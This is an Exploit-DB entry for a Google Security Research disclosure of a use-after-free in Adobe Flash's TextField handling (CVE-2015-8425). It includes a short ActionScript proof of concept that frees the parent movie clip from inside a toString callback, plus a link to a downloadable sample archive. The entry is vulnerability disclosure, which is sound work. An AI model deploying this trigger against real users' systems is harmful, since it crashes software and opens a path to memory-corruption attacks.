Adobe Flash - 'TextField' Use-After Free

Author: Google Security Research
type: dos
platform: windows
port: 
date_added: 2015-12-18 
date_updated: 2015-12-18 
verified: 1 
codes: CVE-2015-8425;OSVDB-131223 
tags: 
aliases:  
screenshot_url:  
application_url: 

Source: https://code.google.com/p/google-security-research/issues/detail?id=583

If a TextField variable is set to a value with toString defined, and the TextField is updated, a use-after-free can occur if the toString method frees the TextField's parent. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 301);
var my_txt = mc.createTextField("my_txt", 302, 0, 0, 100, 100);
trace(my_txt);
my_txt.variable = "today_date";
mc.today_date = "blah";
var times = 0;

var date_interval:Number = setInterval(updateDate, 500);

function updateDate() {
    mc.today_date = {toString : func};
}

function func(){
	if(times == 0){
		times++;
		mc.removeMovieClip();
	}

	return "test";

	}

A sample fla and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39049.zip